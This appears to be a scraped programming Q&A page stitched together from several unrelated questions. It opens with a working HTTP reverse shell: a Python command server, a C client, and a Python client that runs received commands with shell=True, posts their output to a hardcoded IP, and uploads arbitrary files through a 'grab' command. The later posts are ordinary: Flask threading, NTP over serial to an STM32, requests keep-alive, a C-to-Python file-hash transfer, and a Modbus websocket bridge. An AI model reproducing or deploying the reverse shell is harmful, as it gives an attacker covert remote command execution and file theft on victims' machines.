I am trying to do a reverse shell by http, and my server simply waits for a connection and when it's up I write the command in html to execute.
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc , char *argv[]){
WSADATA wsa;
SOCKET s;
char *source="";
int i=0;
struct sockaddr_in server;
char *htmlRequest , htmlResponse[2000];
int recv_size;
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
return 1;
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
return 1;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_family = AF_INET;
server.sin_port = htons(80);
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
return 1;
htmlRequest = "GET / HTTP/1.1\nAccept: text/plain, text/html\n\r\n\r\n\r\n\r\n";
if( send(s , htmlRequest , strlen(htmlRequest) , 0) < 0)
return 1;
recv_size = recv(s , htmlResponse, sizeof(htmlResponse) , 0);
htmlResponse[recv_size] = '\0';
printf("%s",htmlResponse);
return 0;
}
And the py server is:
import BaseHTTPServer
import os,cgi
HOST_NAME = '0.0.0.0'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell> ")
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(command)
def do_POST(s):
if s.path=='/store':
try:
ctype,pdict=cgi.parse_header(s.headers.getheader('content-type'))
if ctype=='multipart/form-data':
fs=cgi.FieldStorage(fp=s.rfile,headers=s.headers,environ={'REQUEST_METHOD':'POST'})
else:
print "[-] Unexpected POST request"
fs_up=fs['file']
with open('C:\Users\user\Desktop\demo.txt','wb') as o:
o.write(fs_up.file.read())
s.send_response(200)
s.end_headers()
except Exception as e:
print e
return
s.send_response(200)
s.end_headers()
length = int(s.headers['Content-Length'])
postVar = s.rfile.read(length)
print postVar
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated'
httpd.server_close()
The problem is when I write the command to my webpage, it writes perfectly but my c "client" doesn't show the html. But when I try to get the html of another webpage, it works perfectly.
I try to do "client" in py and it works.
import requests
import subprocess
import time
import os
while True:
req = requests.get('http://188.153.153.21')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url='http://127.0.0.1/store'
files = {'file': open(path, 'rb')}
r=requests.post(url, files=files)
else:
post_response = requests.post(url='http://127.0.0.1', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)
post_response = requests.post(url='http://127.0.0.1', data=CMD.stdout.read() )
post_response = requests.post(url='http://127.0.0.1', data=CMD.stderr.read() )
time.sleep(1)
Related
My python program has several threads and they need to share (read and write) to the same object.
I am having problems, sometimes the value is stored correctly but other threads don't have it updated quick enough and only on a second or third interaction they have it updated.
this is my code:
from flask import Flask, render_template, request, jsonify
import threading
from time import sleep
from gpiozero import LED, Button, DigitalOutputDevice
SUM_ALARM_NC = LED(5)
SUM_ALARM_NO = LED(6)
SUM_ALARM_LED = LED(13)
SUM_ALARM_IN = Button(12)
from dataclasses import dataclass
import string
#dataclass
class Config_File:
status: string
serial_interface: string
changed:string
app = Flask(__name__, static_folder = 'assets')
#app.route("/")
def Index():
return render_template("index.html")
#app.route("/_monitoring")
def _monitoring():
return jsonify(_status = Config_File.status.strip(), _serial_interface = Config_File.serial_interface.strip())
#---------------------------------------------------------------------------------------------------------------
#app.route("/_saveserial")
def saveserial():
Config_File.changed = "1\n"
Config_File.serial_interface = str(request.args.get('RS232')) + "," + str(request.args.get('baudrate')) + "," + str(request.args.get('parity')) + "," + str(request.args.get('databit')) + "," + str(request.args.get('address')) + "\n"
return ""
def Monitoring_IO_thr():
while (True):
if SUM_ALARM_IN.is_pressed:
Config_File.changed = "0\n"
Config_File.status = "1\n"
SUM_ALARM_LED.on()
else:
Config_File.status = "0\n"
SUM_ALARM_LED.off()
sleep(0.5)
#### Save config_file class to the config.ini file ######################
def Save_Config_File_thr():
while (True):
if Config_File.changed == "1\n":
Config_File.changed = "0\n"
file_read = "config.ini"
fileobj = open(file_read,'r').readlines()
fileobj[3]= "Status:"+ Config_File.status
fileobj[21]= "Serial:" + Config_File.serial_interface
fileobj[55]= "Changed:" + Config_File.changed
# writes lines
with open(file_read,'w') as file:
file.writelines(fileobj)
file.close()
sleep(1)
if __name__ == "__main__":
Config_File.serial_interface="RS232,9600,Even,7,A\n"
Monitoring_IO_thread = threading.Thread(target = Monitoring_IO_thr)
Monitoring_IO_thread.start()
Save_Config_File_thread = threading.Thread(target = Save_Config_File_thr)
Save_Config_File_thread.start()
app.run(host='192.168.150.144', port=5050, debug=True)
Monitoring_IO_thread.join()
Save_Config_File_thread.join()
and this are my scripts
<script>
$(document).ready(function ()
{
$(function()
{
//SERIAL INTERFACE CHANGE - script to deal with the request to change the serial interface
$('#saveserial').on('click',function()
{
var data =
{
RS232: $('#RS232').val(),
baudrate: $('#baudrate').val(),
parity: $('#parity').val(),
databit: $('#databit').val(),
address: $('#address').val(),
};
$.getJSON("/_saveserial", data, function ()
{
});
});
});
$(function monitoring()
{
$.getJSON('/_monitoring', function(data)
{
if (data._status == "1")
{
$("#alarm_on").attr("hidden", false);
$("#alarm_off").attr("hidden", true);
}
if (data._status == "0")
{
$("#alarm_on").attr("hidden", true);
$("#alarm_off").attr("hidden", false);
}
setTimeout(function(){monitoring();},500);
});
}
);
});
</script>
How can I share Config_File between threads?
After your precious help I tried the following:
from multiprocessing import Process, Lock
mutex=Lock()
def Monitoring_IO_thr():
mutex.acquire()
try:
while(True):
Inputs_Monitoring()
sleep(0.5)
finally:
mutex.release()
def Save_Config_File_thr():
mutex.acquire()
try:
while(True):
if Config_File.changed == "1\n":
Config_File.serial_interface)
#save to file
Config_File.changed = "0\n"
Save_config()
out("saving config.ini")
sleep(1)
finally:
mutex.release()
if __name__ == "__main__":
Init()
app.run(host='192.168.150.144', port=5050, debug=True)
while(True):
Monitoring_IO_thread = threading.Thread(target = Monitoring_IO_thr)
Monitoring_IO_thread.start()
Save_Config_File_thread = threading.Thread(target = Save_Config_File_thr)
Save_Config_File_thread.start()
Not sure why but the program never runs both threads... any ideas what am I doing wrong?
I have created a Python 3 sketch to try and upload the current NTP time to STM32L476RG Nucleo. The sketch is as follows:
import serial
import glob
import sys
import time
from socket import AF_INET, SOCK_DGRAM
import socket
import struct
def serial_ports():
""" Lists serial port names
:raises EnvironmentError:
On unsupported or unknown platforms
:returns:
A list of the serial ports available on the system
"""
if sys.platform.startswith('win'):
ports = ['COM%s' % (i + 1) for i in range(256)]
elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
# this excludes your current terminal "/dev/tty"
ports = glob.glob('/dev/tty[A-Za-z]*')
elif sys.platform.startswith('darwin'):
ports = glob.glob('/dev/tty.*')
else:
raise EnvironmentError('Unsupported platform')
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
except (OSError, serial.SerialException):
print("OSError or Serial Exception raised, exiting...")
pass
return result
def getNTPTime(host = "pool.ntp.org"):
port = 123
buf = 1024
address = (host,port)
msg = '\x1b' + 47 * '\0'
# reference time (in seconds since 1900-01-01 00:00:00)
TIME1970 = 2208988800 # 1970-01-01 00:00:00
# connect to server
client = socket.socket( AF_INET, SOCK_DGRAM)
while True:
try:
client.sendto(msg.encode('utf-8'), address)
msg, address = client.recvfrom( buf )
t = struct.unpack( "!12I", msg )[10]
t -= TIME1970
return t
except (socket.gaierror):
print("Error! Internet connection not found, exiting...")
break
my_t_zone = -8
cur_ser = ''.join([s for s in serial_ports() if 'usbmodem' in s])
if(len(cur_ser)>0):
ser = serial.Serial(cur_ser)
if(not ser.isOpen()):
ser.open()
valid = 0
time.sleep(.5)
while(not valid):
ser.reset_input_buffer()
line = ser.readline().decode('utf-8').strip()
if(line=="Hello"):
ntp_time = ("DEA"+str(getNTPTime()+(my_t_zone*3600))+"L").encode('utf_8')
ser.write(ntp_time)
valid = 1
time.sleep(.5)
print("Done uploading time.")
ser.close()
else:
print("No compatible serial device found, exiting...")
The Mbed sketch running on the Nucleo board is as follows:
#include "mbed.h"
Serial pc(USBTX, USBRX);
const int kMaxBufferSize = 100;
char buffer[kMaxBufferSize];
int len = 0;
int contact = 1;
void removeChar(char *s, int c){
int j, n = strlen(s);
for (int i=j=0; i<n; i++)
if (s[i] != c)
s[j++] = s[i];
s[j] = '\0';
}
int main()
{
pc.baud(9600);
while(contact) {
pc.printf("Hello\n");
if (pc.readable() > 0) {
char new_char;
while(new_char != 'L') {
new_char = pc.getc();
buffer[len++] = new_char;
}
contact = 0;
}
}
removeChar(buffer, 'D');
removeChar(buffer, 'E');
removeChar(buffer, 'A');
removeChar(buffer, 'L');
int x = atoi(buffer);
while(!contact) {
pc.printf("%s\n",buffer);
}
}
The behavior of the system is unstable. I observe several things:
Most of the time this code snippet works fine and Mbed shows
the uploaded Posix timestamp properly after parsing.
Sometimes erroneous characters are shown in the parsed timestamp (e.g. symbols and other characters)
Sometimes the entire posix timestamp is not shown by Mbed and gets cut out.
Also, you can see the Python code uploads three characters before the timestamp. These are used to make sure the code works most of the time (i.e. without them first two digits of timestamps get cut out most of the time).
Can anyone suggest what’s wrong? Seems like a sync issue.
I am observing that with python requests module, HTTP keep-alive is not being honored.
I dont see Acks for keep-alive being sent from the host where i am running the python script.
Please let me know how it can be fixed.Following is my code:
import json
import requests
import logging
import sys
import time
from threading import Thread
logging.basicConfig(level=logging.DEBUG)
class NSNitro:
def __init__(self,*args):
if len(args) > 2:
self.ip = args[0]
self.username = args[1]
self.password = args[2]
self.session_id = None
url = 'http://'+self.ip+'/nitro/v1/config/login'
payload = { "login": { "username":"nsroot", "password":"nsroot" }}
headers = {"Content-type": "application/json", 'Connection': 'keep-alive'}
try:
r = requests.post(url=url,headers=headers,data=json.dumps(payload),timeout=5)
logging.info(r.json()["sessionid"])
if(r.json()["sessionid"] != None):
self.session_id = r.json()["sessionid"]
except requests.exceptions.RequestException:
logging.critical("Some error occurred during connection")
else:
logging.error("Not sufficient parameters provided.Required : ipaddress , username , password")
def install_build(self,build_url):
url = 'http://ip/nitro/v1/config/install'
headers = {"Content-type": "application/json","Connection": "keep-alive"}
payload = {"install": {"url": build_url}}
try:
cookie = {"NITRO_AUTH_TOKEN": self.session_id}
r = requests.post(timeout=5, url=url, data=json.dumps(payload), headers=headers,cookies=cookie)
except requests.exceptions.RequestException:
print("Connection Error occurred")
raise '''this will give details of exception'''
else:
assert r.status_code == 201, "Status code seen: " + str(r.status_code) + "\n" + "Error message from system: " + \
r.json()["message"]
print("Successfully triggered job on device to install build")
def __del__(self):
logging.debug("Deleted the object")
if __name__ == '__main__':
ns_session = NSNitro(ip,username,password)
url_i = 'https://myupload-server.net/build-13.0-480.16.tgz'
t1 = Thread(target=ns_session.install_build,args=(url_i,))
t1.start()
''' while t1.is_alive():
t2 = Thread(target=ns_session.get_installed_version,)
t2.start()
t2.join()'''
time.sleep(100)
logging.info("Install thread completed")
t1.join()
ns_session.logout()
When the request is posted using curl command, the acks are sent in specified keep-alive intervals. Without ack being sent , server is resetting the connection.
My current application involves a C client sending a file to a Python server using TCP. It will produce a hash of the file and send the information back. I can get it to work with a python client but I am having issues migrating the client into C. The python server is still unfinished (it needs to convert the file size string to int, error checking, etc).
My biggest issue right now is after the server calls hash_type = connbuff.get_utf8(), it gives me the first user input of the hash type, then closes the connection. I know it is an issue with get_utf8(), but I am stumped on how to fix this. Should I just send arbitrary amounts of data from the client every time? Please help me learn from the error of my ways! Any advice/suggestions are much appreciated! Thanks =)
Server.py
import socket
import os
import hashlib
import buffer
HOST = '127.0.0.1'
PORT = 2345
def getHash(fileName, hashType):
... hash algorithms ....
try:
os.mkdir('uploads')
except FileExistsError:
pass
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)
print("Waiting for a connection.....")
while True:
conn, addr = s.accept()
print("Got a connection from ", addr)
connbuf = buffer.Buffer(conn)
while True:
hash_type = connbuf.get_utf8()
if not hash_type:
break
print('Hash Type: ', hash_type)
file_name = connbuf.get_utf8()
if not file_name:
break
print('File Name: ', file_name)
file_name = os.path.join('uploads', file_name)
file_size = connbuf.get_utf8()
file_size = int(file_size)
print('File Size: ', file_size)
with open(file_name, 'wb') as f:
remaining = file_size
while remaining:
if remaining >= 4096:
chunk_size = 4096
else:
chunk_size = remaining
chunk = connbuf.get_bytes(chunk_size)
if not chunk:
break
f.write(chunk)
remaining -= len(chunk)
if remaining:
print('File incomplete: MISSING', remaining, 'BYTES.')
else:
print('File received successfully.')
file_hash = getHash(file_name, hash_type)
response = file_name + ' ' + file_hash
connbuf.put_utf8(response)
print('Connection closed.')
conn.close()
My Buffer class get_utf8() and get_bytes() look like this...
def __init__(self,s):
self.sock = s
self.buffer = b''
def get_bytes(self,n):
while len(self.buffer) < n:
data = self.sock.recv(1024)
if not data:
data = self.buffer
self.buffer = b''
return data
self.buffer += data
data,self.buffer = self.buffer[:n],self.buffer[n:]
return data
def get_utf8(self):
while b'\x00' not in self.buffer:
data = self.sock.recv(1024)
if not data:
return ''
self.buffer += data
data,_,self.buffer = self.buffer.partition(b'\x00')
return data.decode()
Client.c
#include <sys/socket.h>
... more includes ...
#define PORT_NUMBER 2345
#define SERVER_ADDRESS "127.0.0.1"
char *inputString(FILE* fp, size_t size){
... string input code ...
}
int main () {
int server_socket, connection_status;
struct sockaddr_in serverAddress;
char *hashType;
char *fileName;
char send_buffer[4000];
FILE * file_to_send;
int file_size;
/* Connect to Server */
... connect to server code ...
/* Get Hash an File User Input */
printf("Enter hash type: ");
hashType = inputString(stdin, 10);
printf("Hash type: %s\n", hashType);
printf("Enter file name: ");
fileName = inputString(stdin, 10);
printf("File Name: %s\n");
/* Send User Input */
send(server_socket, hashType, sizeof(hashType), 0);
send(server_socket, fileName, sizeof(fileName), 0);
/* Open File, Get Size, Convert to String */
file_to_send = fopen(fileName, "rb");
fseek(file_to_send, 0, SEEK_END);
file_size = ftell(file_to_send);
fseek(file_to_send, 0, SEEK_SET);
int l = snprintf(NULL, 0, "%d", file_size);
char *str_file_size;
asprintf(&str_file_size, "%i", file_size);
printf("%s\n", str_file_size);
/* Send File Size and File */
send(server_socket, str_file_size, sizeof(str_file_size), 0);
while(!feof(file_to_send)) {
fread(send_buffer, 1, sizeof(send_buffer) - 1, file_to_send);
}
send(server_socket, send_buffer, sizeof(send_buffer), 0);
return 0;
}
get_utf8 expects to read a null-terminated UTF-8-encoded string from the socket. In the C code, you send sizeof(hashType). hashType is a pointer, so you are sending exactly 4 or 8 bytes (depending on 32- or 64-bit architecture). You probably need strlen(hashType)+1 (+1 for the NULL). Ditto for filename.
get_utf8 also reads until it sees a null. If it never sees one, it returns empty string, which then causes the receive code to break and closes the connection.
I need to receive data from device connected via Ethernet (modbus/TCP) and send it to webpage (maybe using web sockets).
I can't find good examples. Now I can connect with driver and print values using ModbusClientProtocol.read_input_registers() but I had to create own factory and protocol class. I am using autobahn, twisted, pymodbus.
I've no familiarity with modbus or pymodbus, so I'm guessing and leaving a lot of blanks for you to fill in.
This is hacked out of something I recently put together to receive snmptraps and redistribute the information to connected websockets.
Hopefully this is enough to get you going:
#!/usr/bin/python
from twisted.internet import protocol, reactor, utils, defer
from twisted.web.server import Site
from twisted.web.static import File
from autobahn.websocket import WebSocketServerFactory, WebSocketServerProtocol
from autobahn.util import newid
from autobahn.resource import WebSocketResource
class ModbusThing(object):
def __init__(self,clientAddress):
self.clientAddress = clientAddress
self.client = None
def start(self):
pass
## Create client connection to modbus server
## Start Looping Call of pollForData with suitable interval
def pollForData(self):
pass
## Call read methods on ModbusClient object, add call backs to process the results
## Add errorBacks to notify of errors
def resultCallback(self,result):
pass
## Process the data from a read request
## Assumes that your websocket clients expect json like {"event":"update","data":[0,1,2]}
message = dict(event="update",data=processedResults)
self.broadcast(json.dumps(message))
def broadcast(self,msg):
"""Override me"""
pass
class TrackingWebSocketProtocol(WebSocketServerProtocol):
def onOpen(self):
self.session_id = newid()
self.factory._addSession(self,self.session_id)
print "Socket Open %s" % (self.peerstr,)
def onMessage(self,payload,isBinary):
print "Message received from %s\n\t: %r" % (self.peerstr,payload)
def onClose(self,wasClean,code,reason):
self.factory._removeSession(self)
print "Socket Closed %s" % (self.peerstr,)
class TrackingWebSocketFactory(WebSocketServerFactory):
def __init__(self,*args,**kwargs):
WebSocketServerFactory.__init__(self,*args,**kwargs)
self.proto2session = {}
self.session2proto = {}
def _addSession(self,proto,session_id):
if not self.proto2session.has_key(proto):
self.proto2session[proto] = session_id
else:
raise Exception("logic error - dublicate _addSession for protoToSessions")
if not self.session2proto.has_key(session_id):
self.session2proto[session_id] = proto
else:
raise Exception("logic error - dublicate _addSession for sessionsToProto")
def _removeSession(self,proto):
if proto in self.proto2session:
session_id = self.proto2session[proto]
del self.proto2session[proto]
if session_id in self.session2proto:
del self.session2proto[session_id]
def sendToAll(self,message,binary=False):
prepped = self.prepareMessage(message,binary)
for proto in self.proto2session.keys():
proto.sendPreparedMessage(prepped)
def run():
## WebSocket Factory
wsfactory = TrackingWebSocketFactory('ws://yourhostname:80')
wsfactory.protocol = TrackingWebSocketProtocol
wsresource = WebSocketResource(wsfactory)
## Modbus handler
modbus_thing = ModbusThing((addressofserver,portofserver))
modbus_thing.broadcast = wsfactory.sendToAll
modbus_thing.start()
## WebServer Site
# "static" subdirectory, containing http served resources, e.g. index.html, javascript and css
root = File("static")
# Your websocket service as 'ws://yourhostname/ws'
root.putChild("ws", wsresource)
site = Site(root)
reactor.listenTCP(80,site)
def main():
reactor.callWhenRunning(run)
reactor.run()
if __name__=='__main__':
main()
On the browser side of things. A little module for interacting with websockets is handy:
var FancyWebSocket = function(url){
var conn = null;
var fws = this;
if ("WebSocket" in window) {
conn = new WebSocket(url);
} else if ("MozWebSocket" in window) {
conn = new MozWebSocket(url);
} else {
console.log("Error Websockets not supported in browser");
return;
}
var callbacks = {};
var debug = true;
this.bind = function(event_name, callback){
callbacks[event_name] = callbacks[event_name] || [];
callbacks[event_name].push(callback);
return this;// chainable
};
this.send = function(event_name, event_data){
var payload = JSON.stringify({event:event_name, data: event_data});
conn.send( payload ); // <= send JSON data to socket server
return this;
};
this.close = function(){ conn.close(); return this;}
// dispatch to the right handlers
conn.onmessage = function(evt){
if (debug) console.log("Websocket(" + conn.URL + ") Message: " + evt.data)
var json = JSON.parse(evt.data)
dispatch(json.event, json.data)
};
conn.onclose = function(){
if (debug) console.log("Websocket(" + conn.URL + ") Closed");
dispatch('close',fws);
}
conn.onopen = function(){
if (debug) console.log("Websocket(" + conn.URL + ") Open");
dispatch('open',fws);
}
conn.onerror = function(e){
if (debug) console.log("Websocket(" + conn.URL + ") Error: " + error);
dispatch('error',fws,e);
}
this.setdebug = function(v) { debug=v; return this; }
var dispatch = function(event_name, message){
var chain = callbacks[event_name];
if(typeof chain == 'undefined') return; // no callbacks for this event
for(var i = 0; i < chain.length; i++){
chain[i]( message )
}
}
};
Then in your browser console:
conn = new FancyWebSocket("ws://yourhostname/ws");